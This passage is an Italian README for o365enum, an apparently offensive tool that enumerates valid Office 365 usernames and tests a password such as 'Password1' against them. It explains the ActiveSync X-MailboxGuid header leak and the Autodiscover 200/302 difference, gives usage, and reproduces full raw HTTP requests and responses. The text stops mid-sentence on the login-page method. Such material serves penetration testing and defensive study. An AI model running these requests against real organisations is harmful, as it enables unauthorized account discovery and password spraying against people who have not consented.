
Enumerare nomi utente validi da Office 365 utilizzando ActiveSync, Autodiscover v1 o la pagina di login di office.com.
Enumera nomi utente validi da Office 365 utilizzando ActiveSync, Autodiscover o la pagina di login di office.com.
o365enum legge i nomi utente dal file fornito come primo parametro. Il file deve contenere un nome utente per riga. L'output è in formato CSV per facilità di analisi. Lo stato valido può essere 0 (utente non valido), 1 (utente valido), 2 (utente valido e password valida).
python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
[-m {activesync,autodiscover,office.com}]
Office365 User Enumeration Script
optional arguments:
-h, --help show this help message and exit
-u USERLIST, --userlist USERLIST
username list one per line (default: None)
-p PASSWORD, --password PASSWORD
password to try (default: Password1)
-n NUM, --num NUM # of reattempts to remove false negatives (default: 3)
-v, --verbose Enable verbose output at urllib level (default: False)
-m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}
method to use (default: activesync)
Esempio di esecuzione:
./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
[email protected],0
[email protected],1
Questo metodo si basa sul metodo di grimhacker che invia richieste di autenticazione HTTP Basic all'endpoint ActiveSync. Tuttavia, controllare il codice di stato non funziona più poiché Office365 restituisce un 401 sia che l'utente esista o meno.
Invece, inviamo la stessa richiesta ma controlliamo la presenza di un'intestazione di risposta HTTP personalizzata (X-MailboxGuid) per identificare se un nome utente è valido o meno.
La richiesta seguente contiene le seguenti credenziali codificate in Base64 nell'intestazione Authorization: [email protected]:Password1
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=
Ciò provoca la seguente risposta ("401 Unauthorized") con l'intestazione X-MailboxGuid impostata, indicando che il nome utente è valido ma la password non lo è:
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- Questa intestazione rivela lo stato dell'account (esistente)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
--snip--
La richiesta seguente contiene le seguenti credenziali codificate in Base64 nell'intestazione Authorization: [email protected]:Password1
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==
Ciò provoca la seguente risposta ("401 Unauthorized" ma questa volta senza l'intestazione X-MailboxGuid, indicando che il nome utente non è valido.
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close
--snip--
L'endpoint autodiscover consente l'enumerazione degli utenti senza un tentativo di autenticazione. L'endpoint restituisce un codice di stato 200 se l'utente esiste e un 302 se l'utente non esiste (a meno che il reindirizzamento non venga effettuato verso un server Exchange on-premise).
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close
{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1">here</a>.</h2>
</body></html>
ATTENZIONE: Questo metodo funziona solo per organizzazioni che sono abbonate a Exchange Online e che non hanno distribuzioni on-premise o ibride di Exchange server.
Per le aziende che utilizzano server Exchange on-premise o una distribuzione ibrida e in base a qualche configurazione che non ho ancora identificato, il server potrebbe restituire un valore che indica l'esistenza dell'utente per qualsiasi valore del nome utente.
Il metodo è utile quando non si vuole sprecare un tentativo di autenticazione con 'Password1' :)
La proprietà IfExistsResult viene utilizzata per descrivere se e come un account esiste. Come discusso in questo articolo del blog RSM, i valori sono i seguenti: